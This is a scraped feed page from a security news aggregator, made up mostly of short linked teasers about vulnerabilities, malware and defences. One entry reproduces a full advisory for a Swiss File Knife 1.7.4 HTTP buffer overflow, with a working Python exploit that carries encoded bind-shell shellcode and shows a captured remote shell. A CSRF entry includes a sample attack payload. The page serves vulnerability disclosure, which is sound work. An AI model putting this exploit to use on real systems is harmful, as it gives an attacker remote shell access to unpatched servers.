Quantcast
Channel: BOT24
Viewing all 8064 articles
Browse latest View live
↧

Accessing Employee Settings On Uber- How I accessed employee settings on Uber’s Latest iOS App

February 27, 2015, 3:02 pm
$
0
0
While debugging an upcoming app of mine, I accidentally got a closer glimpse into Uber’s iOS app internals. I was surprised by what I found and how easy it was to accomplish my findings.

Method of Discovery and more here.........https://medium.com/@nmock/accessing-employee-settings-on-uber-a3ecc5542315
↧
Search

Swiss File Knife v1.7.4 HTTP - Buffer Overflow Vulnerability

February 28, 2015, 3:15 am
$
0
0
Document Title:
===============
Swiss File Knife v1.7.4 HTTP - Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1441


Release Date:
=============
2015-02-27


Vulnerability Laboratory ID (VL-ID):
====================================
1441


Common Vulnerability Scoring System:
====================================
8.4


Product & Service Introduction:
===============================
Swiss File Knife - A Command Line Tools Collection that combines many functions in a single, portable executable that belongs onto
every USB stick. Search and convert text files, instant simple FTP/HTTP server, find duplicate files, compare folders, treesize,
run own commands on all files of a folder - it`s all within a single tool.

(Copy of the Vendor Homepage: http://stahlworks.com/dev/swiss-file-knife.html )


Abstract Advisory Information:
==============================
An indepdent vulnerability laboratory researcher discovered a buffer overflow vulnerability in the official Swiss File Knife 1.7.4  HTTP Server software.


Vulnerability Disclosure Timeline:
==================================
2015-02-18: Vendor Fix/Patch (Developer Team)
2015-02-27: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Stahlworks
Product: Swiss File Knife - HTTP Server 1.7.4 (Windows, MacOS & Linux)


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A buffer overflow vulnerability has been discovered by an indepdent researcher in the official Swiss File Knife 1.7.4  HTTP Server software.
The vulnerability allows local or remote attacker to gain higher system or access privileges by exploitation of a classic buffer overflow vulnerability.

Payload overwrites SEH with address of pop pop ret sequence, which redirects execution flow to the attacker buffer started with fixed string “unexpected: file
left open for write: <attacker payload>†. First two bytes “un† - 75 6E in hex are an opcode for JNZ SHORT sfk174.005A7AC0, which successfully jumps
over the fixed text right into attacker controlled buffer filled with nops and finally shellcode.

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.4.


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Exploit Code (*.py)

!/usr/bin/env python
 Swiss File Knife 1.7.4 (rev 1) Buffer Overflow
 Author: lucyoa <lucyoa[at]reverse-shell.com

 SFK's http server launched using following method:
 C:\fuzz\sfksfk174.exe httpserv
 SFK Instant HTTP Server. For help, type "sfk httpserv -help".
 Waiting on port 80. Try http://192.168.56.111/ in your browser.

 Exploitation:
 lucyoa@sage~/exploits/sfk174$ ./exploit.py 192.168.56.111 80
 lucyoa@sage~/exploits/sfk174$ nc 192.168.56.111 4444
 Microsoft Windows XP [Version 5.1.2600]
 (C) Copyright 1985-2001 Microsoft Corp.

 C:\fuzz\sfkipconfig
 ipconfig

 Windows IP Configuration

 Ethernet adapter Local Area Connection:
        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.56.111
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . :

 C:\fuzz\sfk

import sys
import socket

def usage(s):
    print "%s <ip<port" % s
    exit(0)

def main():
    if len(sys.argv) != 3:
        usage(sys.argv[0])

 msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -t c
 [*] x86/alpha_mixed succeeded with size 744 (iteration=1)
    sc = (
"\x89\xe0\xd9\xc5\xd9\x70\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x49\x6c\x78\x68\x4d\x59\x63\x30\x73\x30\x67\x70\x55\x30\x4b"
"\x39\x79\x75\x35\x61\x59\x42\x42\x44\x4e\x6b\x63\x62\x56\x50"
"\x6c\x4b\x71\x42\x46\x6c\x4e\x6b\x63\x62\x64\x54\x4e\x6b\x34"
"\x32\x66\x48\x36\x6f\x38\x37\x50\x4a\x57\x56\x70\x31\x39\x6f"
"\x44\x71\x39\x50\x4c\x6c\x67\x4c\x45\x31\x53\x4c\x63\x32\x46"
"\x4c\x31\x30\x5a\x61\x6a\x6f\x76\x6d\x66\x61\x39\x57\x6d\x32"
"\x6c\x30\x46\x32\x63\x67\x4e\x6b\x43\x62\x46\x70\x6c\x4b\x67"
"\x32\x45\x6c\x77\x71\x4a\x70\x6e\x6b\x43\x70\x53\x48\x4b\x35"
"\x59\x50\x42\x54\x50\x4a\x63\x31\x78\x50\x72\x70\x4c\x4b\x67"
"\x38\x54\x58\x6c\x4b\x73\x68\x31\x30\x43\x31\x38\x53\x49\x73"
"\x65\x6c\x77\x39\x4e\x6b\x34\x74\x4c\x4b\x67\x71\x49\x46\x70"
"\x31\x59\x6f\x35\x61\x39\x50\x4c\x6c\x5a\x61\x7a\x6f\x44\x4d"
"\x35\x51\x4a\x67\x47\x48\x4b\x50\x63\x45\x78\x74\x46\x63\x31"
"\x6d\x4b\x48\x67\x4b\x63\x4d\x34\x64\x62\x55\x49\x72\x72\x78"
"\x6e\x6b\x70\x58\x71\x34\x67\x71\x79\x43\x61\x76\x6e\x6b\x44"
"\x4c\x50\x4b\x4c\x4b\x42\x78\x67\x6c\x63\x31\x68\x53\x6c\x4b"
"\x73\x34\x6e\x6b\x57\x71\x38\x50\x6d\x59\x70\x44\x37\x54\x57"
"\x54\x61\x4b\x43\x6b\x63\x51\x32\x79\x32\x7a\x32\x71\x59\x6f"
"\x6d\x30\x72\x78\x71\x4f\x32\x7a\x6c\x4b\x44\x52\x7a\x4b\x4d"
"\x56\x43\x6d\x53\x58\x75\x63\x70\x32\x67\x70\x33\x30\x63\x58"
"\x72\x57\x72\x53\x56\x52\x73\x6f\x30\x54\x43\x58\x30\x4c\x54"
"\x37\x45\x76\x56\x67\x59\x6f\x4a\x75\x4f\x48\x6e\x70\x76\x61"
"\x77\x70\x63\x30\x77\x59\x5a\x64\x33\x64\x62\x70\x75\x38\x65"
"\x79\x6f\x70\x30\x6b\x43\x30\x6b\x4f\x78\x55\x30\x50\x52\x70"
"\x72\x70\x42\x70\x31\x50\x72\x70\x57\x30\x30\x50\x62\x48\x38"
"\x6a\x66\x6f\x6b\x6f\x4b\x50\x6b\x4f\x49\x45\x4b\x39\x69\x57"
"\x55\x61\x49\x4b\x32\x73\x65\x38\x43\x32\x53\x30\x62\x31\x43"
"\x6c\x4d\x59\x59\x76\x51\x7a\x44\x50\x46\x36\x50\x57\x70\x68"
"\x5a\x62\x4b\x6b\x66\x57\x43\x57\x49\x6f\x58\x55\x62\x73\x31"
"\x47\x35\x38\x4e\x57\x4d\x39\x66\x58\x39\x6f\x4b\x4f\x59\x45"
"\x36\x33\x73\x63\x36\x37\x31\x78\x30\x74\x68\x6c\x35\x6b\x69"
"\x71\x39\x6f\x4a\x75\x62\x77\x6c\x49\x68\x47\x71\x78\x44\x35"
"\x30\x6e\x32\x6d\x71\x71\x39\x6f\x49\x45\x43\x58\x71\x73\x72"
"\x4d\x50\x64\x53\x30\x6e\x69\x4d\x33\x36\x37\x63\x67\x33\x67"
"\x46\x51\x4b\x46\x30\x6a\x55\x42\x62\x79\x50\x56\x6d\x32\x6b"
"\x4d\x45\x36\x7a\x67\x70\x44\x66\x44\x65\x6c\x65\x51\x65\x51"
"\x6c\x4d\x72\x64\x77\x54\x76\x70\x78\x46\x55\x50\x37\x34\x66"
"\x34\x56\x30\x46\x36\x53\x66\x33\x66\x43\x76\x51\x46\x32\x6e"
"\x56\x36\x63\x66\x50\x53\x71\x46\x61\x78\x70\x79\x58\x4c\x55"
"\x6f\x4d\x56\x69\x6f\x4b\x65\x4f\x79\x4b\x50\x70\x4e\x70\x56"
"\x37\x36\x69\x6f\x50\x30\x61\x78\x34\x48\x4c\x47\x35\x4d\x61"
"\x70\x59\x6f\x5a\x75\x6f\x4b\x4a\x50\x4f\x45\x49\x32\x62\x76"
"\x45\x38\x6e\x46\x6f\x65\x6f\x4d\x4d\x4d\x39\x6f\x7a\x75\x77"
"\x4c\x65\x56\x63\x4c\x76\x6a\x4f\x70\x4b\x4b\x79\x70\x44\x35"
"\x64\x45\x6f\x4b\x72\x67\x46\x73\x73\x42\x50\x6f\x72\x4a\x47"
"\x70\x32\x73\x49\x6f\x38\x55\x41\x41")

     0x004f1b8d from sfk174.exe
    ret = "\x8d\x1b\x4f\x00"

    nop = "\x90"*(128807 - len(sc))
    nop2 = "\x90"*121068

    buff = nop + sc + nop2 + ret
    payload = "GET /"+buff+" HTTP/1.1\r\n\r\n"

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((sys.argv[1], int(sys.argv[2])))
    s.send(payload)
    s.close()

if __name__ == "__main__":
    main()


Solution - Fix & Patch:
=======================
2015-02-18: Vendor Fix/Patch (Developer Team)

Update: http://sourceforge.net/projects/swissfileknife/files/1-swissfileknife/1.7.4/


Security Risk:
==============
The security risk of the local and remote buffer overflow software vulnerability is estimated as high. (CVSS 8.4)


Credits & Authors:
==================
lucyoa - [lucyoa[at]reverse-shell.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                                      - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com         - research@vulnerability-lab.com                        - admin@evolution-sec.com
Section:    magazine.vulnerability-db.com       - vulnerability-lab.com/contact.php                     - evolution-sec.com/contact
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                         - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php            - vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

                                Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
↧
↧

Using Windows Screensaver as a Backdoor with PowerShell

February 28, 2015, 3:22 am
$
0
0
I came across this interesting post about bypassing Windows Lock Screen via Flash Screensaver. While bypassing the lock screen is useful, the method mentioned there needs physical access to the target. This feature of Windows could be used for much more fun. The fact that Screensaver would run our payload whenever the target would be idle makes it much useful as a backdoor.
Lets see here.........http://www.labofapenetrationtester.com/2015/02/using-windows-screensaver-as-backdoor.html
↧

Angler Exploit Kit Using k33nteam’s October Internet Explorer Use After Free

February 28, 2015, 3:25 am
$
0
0
In 2014, Microsoft introduced heap corruption mitigations into Internet Explorer (IE), such as an isolated heap for certain objects, and a delayed free (collectively referred to as MEMPROTECT). While the mitigations are not unbeatable, they increased the difficulty for exploit authors developing new IE exploits as evidenced by the absence of new IE exploits discovered in the wild.

k33nteam demonstrated a method for exploiting  a certain use-after-free (UAF) vulnerability in the presence of IE’s MEMPROTECT mitigations in their blog (http://k33nteam.org/blog-4-use-after-free-not-dead-in-internet-explorer-part-1.htm) back in October. The vulnerability was patched in Microsoft’s October release MS14-056.

The Angler Exploit Kit (EK) recently implemented a modified version of k33nteam’s exploit targeting the same patched vulnerability. This is interesting because it is the first instance we’ve seen of an attack in the wild targeting IE deployments that are using Microsoft’s new MEMPROTECT mitigations. It shows that exploit authors are still interested in attacking IE.

more here.........https://www.fireeye.com/blog/threat-research/2015/02/angler_exploit_kitu.html
↧

[ TECHNICAL TEARDOWN: PHP WEBSHELL ]

February 28, 2015, 3:32 am
$
0
0
Today, my personal scanner found yet another PHP WebShell.
Since we at VXSecurity.sg haven’t write anything on PHP WebShell, I will be writing one on it today.
So what is a “PHP WebShell”?
A PHP WebSehll can give a malicious hackers access to perform the following actions here.........http://www.vxsecurity.sg/2015/02/27/technical-teardown-php-webshell/
↧
↧

[ TECHNICAL ANALYSIS: DECEIVING ‘PARKED DOMAIN’ & SEVERAL .SG SITES SERVES EXPLOITS ]

February 28, 2015, 3:43 am
$
0
0
I have reported the following Singapore website(s) which might be serving malicious content to SingCERT back in 29th November 2014.
But i have just checked today and all of these site(s) are still serving the same malicious content.
Even though they told me back in 1st December that they have notified all relevant partie(s). O_o”

more here........http://www.vxsecurity.sg/2015/02/28/technical-analysis-deceiving-parked-domain-several-sg-sites-serves-exploits/
↧

Paper: Stealing Keys from PCs by Radio: Cheap Electromagnetic Attacks on Windowed Exponentiation

February 28, 2015, 4:11 am
$
0
0
Abstract: We present new side-channel attacks on implementations of RSA and ElGamal encryption. The attacks can extract secret keys using a very low measurement bandwidth (a frequency band of less than 100 kHz, residing under 2 MHz) even when attacking multi-GHz CPUs. They targets implementation that use the popular sliding-window and fixed-window (m-ary) modular exponentiation.

We demonstrate the attacks' feasibility by extracting keys from laptop computers running GnuPG, using a nonintrusive measurement of electromagnetic emanations for a few seconds from a range of 50 cm. The measurement is made using cheap and readily-available components, such as a Software Defined Radio USB dongle or a consumer-grade radio receiver. The measurement equipment is compact and can operate untethered and concealed, e.g., inside pita bread.

The attack uses a few non-adaptive chosen ciphertexts to trigger the occurrence of specially-structured values inside the sliding-window or fixed-window exponentiation routine. These special values cause observable fluctuations in the electromagnetic field surrounding the laptop, in a way that depends on the key-bit pattern within the sliding window. The secret key can be deduced from these fluctuations, through suitable signal processing and cryptanalysis.

more here...........http://eprint.iacr.org/2015/170.pdf
↧

Remote Desktop Connections, Terminal Services and Plaso

February 28, 2015, 4:20 am
$
0
0
tl;dr
Check the Microsoft-Windows-TerminalServices-LocalSessionManager and Microsoft-Windows-TerminalServices-RemoteConnectionManager logs for events relating to user logon/logoff.
Terminal Services events are logged for users that are accessing the machine locally.
You should require Network Level Authentication for RDP access to all your Windows machines to stop intruders using the “Sticky Keys” technique to retain access to machines.
Intruders can leak usernames and domains from their internal network and other victims in Microsoft-Windows-TerminalServices-RemoteConnectionManager ID 1149 events.

more here.........http://blog.kiddaland.net/2015/02/remote-desktop-connections-terminal.html
↧
Search

UBER Filing A Subpoena Against GitHub Over Breach

February 28, 2015, 8:27 am
$
0
0
DECLARATION OF JAMES G. SNELL IN
SUPPORT OF PLAINTIFF UBER
TECHNOLOGIES, INC.’S EX PARTE
MOTION FOR EXPEDITED DISCOVERY

Here............http://regmedia.co.uk/2015/02/28/ubergithubexhibit.pdf

and Here....http://regmedia.co.uk/2015/02/28/ubersuit.pdf

and Full Story from Register,,,,,http://www.theregister.co.uk/2015/02/28/uber_subpoenas_github_for_hacker_details/?mt=1425134092746
↧
↧

PoC for Samba vulnerabilty (CVE-2015-0240)

February 28, 2015, 8:31 am
$
0
0
PoC for Samba vulnerabilty (CVE-2015-0240) by sleepya
This PoC does only triggering the bug


more here..........https://gist.github.com/worawit/33cc5534cb555a0b710b
↧

Phishing attacks carried out on a non-jailbroken iPhone 6 (iOS 8.1.3) (App Store steal passwords)

February 28, 2015, 8:42 am
$
0
0
Last year in March and April is when we discovered an attack on iOS 7.0 capable of phishing on non-jailbroken ios devices (that can steal Apple id passwords, gmail passwords, etc.).  Its been quite some time that this was reported to Apple (Follow-up id: 609680831), and apple has yet to fix the issue. In order to keep up with the trend of Project Zero (90 days of vulnerability disclosure policy), we now intend to open a demo and details here...... 

http://drops.wooyun.org/tips/4998
↧

Bogus Search Engine Leads to Exploits

February 28, 2015, 11:41 am
$
0
0
Search at your own risk here..........https://blog.malwarebytes.org/online-security/2015/02/bogus-search-engine-leads-to-exploits/
↧

Using open-uri? Check your code - you're playing with fire!

February 28, 2015, 11:43 am
$
0
0
Ruby’s OpenURI is an easy-to-use wrapper for net/http, net/https and net/ftp. As far as I know it’s the most popular way to read URL content, make a GET request or download a file.

require "open-uri" internally patches Kernel.open leaving you one step away from remote code execution and reading local files!

more here.............http://sakurity.com/blog/2015/02/28/openuri.html
↧
↧

Rogue Router Firmware Chaos #Backdoor

February 28, 2015, 11:57 am
$
0
0
Internet is one of the sensational technology that we have known till date. There are more than 3 Billion internet users and this proves the domination of internet worldwide. With the growth of internet users, home routers sales have also been increased recently. But sadly the security risk in home routers have also been raised rapidly.

There is ongoing war between Red Team and Black team. They both are trying to break the security of the home router. Previously, different security issues had been identified in home router by security researchers and here nobody seems to be concerned about these issues. The problem of using default credential is already there.

Before revealing our research, lets see how this security issue can be used by an attacker.

more here........http://blog.ensolnepal.com/router_backdoor/
↧

Technical "whitepaper" for afl-fuzz

February 28, 2015, 3:13 pm
$
0
0
American Fuzzy Lop does its best not to focus on any singular principle of
operation and not be a proof-of-concept for any specific theory. The tool can
be thought of as a collection of hacks that have been tested in practice,
found to be surprisingly effective, and have been implemented in the simplest,
most robust way I could think of at the time.

more here...........http://lcamtuf.coredump.cx/afl/technical_details.txt
↧
Search

Modern Defense Against CSRF Attacks- AntiCSRF library

February 28, 2015, 3:20 pm
$
0
0
In web application security, Cross-Site Request Forgery (CSRF) is a type of attack that tricks the victim into running a command on behalf of the attacker by sending the victim an otherwise innocent HTML snippet. CSRF vulnerabilities are common in amateur web applications and routers with web-based administrative portals. A CSRF attack might look like this:

<img src="http://192.168.0.1/admin.aspx?pw=something" onerror="this.src='http://192.168.0.1/static/logo.jpg';"  />
<!-- onerror used to evade suspicion -->

There are two ways to prevent CSRF attacks:
Strictly whitelist all outgoing requests, which is not realisticly practical.
Harden your web applications against CSRF.

more here.....https://resonantcore.net/blog/2015/02/modern-defense-against-csrf-attacks
↧

Using XSScrapy to Scan for XSS Vulnerabilities

February 28, 2015, 3:23 pm
$
0
0
Using XSScrapy to Scan for XSS Vulnerabilities
XSScrapy is an amazing tool for the aspiring cyber security researcher. Entering the cyber security field used to be challenging and full of hours of wasted research with nothing to show for it. With XSScrapy, that is no longer true.

more here..........http://blog.daviddworken.com/post/112174084989/using-xsscrapy-to-scan-for-xss-vulnerabilities
↧
↧

Frida 2.0.0 Released

February 28, 2015, 6:15 pm
$
0
0
It’s time for a new and exciting release! Key changes include:
No more kernel panics on Mac and iOS!
Mac and iOS injector performs manual mapping of Frida’s dylib. This means we’re able to attach to heavily sandboxed processes.
The CLI tools like frida-trace, frida-repl, etc., have brand new support for spawning processes


more here............http://www.frida.re/news/2015/03/01/frida-2-0-0-released/
↧

PuTTY vulnerability private-key-not-wiped-2

March 1, 2015, 6:43 am
$
0
0
When PuTTY (the free and open-source client program for the SSH, Telnet and Rlogin network protocols) has sensitive data in memory and has no further need for it, it should wipe the data out of its memory, in case malware later gains access to the PuTTY process or the memory is swapped out to disk or written into a crash dump file. An obvious example of this is the password typed during SSH login; other examples include obsolete session keys, public-key passphrases, and the private halves of public keys.

PuTTY 0.63 and earlier versions, after loading a private key from a disk file, mistakenly leak a memory buffer containing a copy of the private key, in the function ssh2_load_userkey. The companion function ssh2_save_userkey (only called by PuTTYgen) can also leak a copy, but only in the case where the file it tried to save to could not be created.

more here..........http://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/private-key-not-wiped-2.html
↧

Advisory: Seagate NAS Remote Code Execution Vulnerability

March 1, 2015, 7:04 am
$
0
0
Seagate is a well-known vendor of hardware solutions, with products available worldwide. Its line of NAS products targeted at businesses is called Business Storage 2-Bay NAS. These can be found inside home and business networks, and in many cases they are publicly exposed.

Products in this line that run firmware versions up to and including version 2014.00319 were found to be vulnerable to a number of issues that allow for remote code execution under the context of the root user. These vulnerabilities are exploitable without requiring any form of authorisation on the device.

more here.........https://beyondbinary.io/advisory/seagate-nas-rce/
↧
Viewing all 8064 articles
Browse latest View live
Search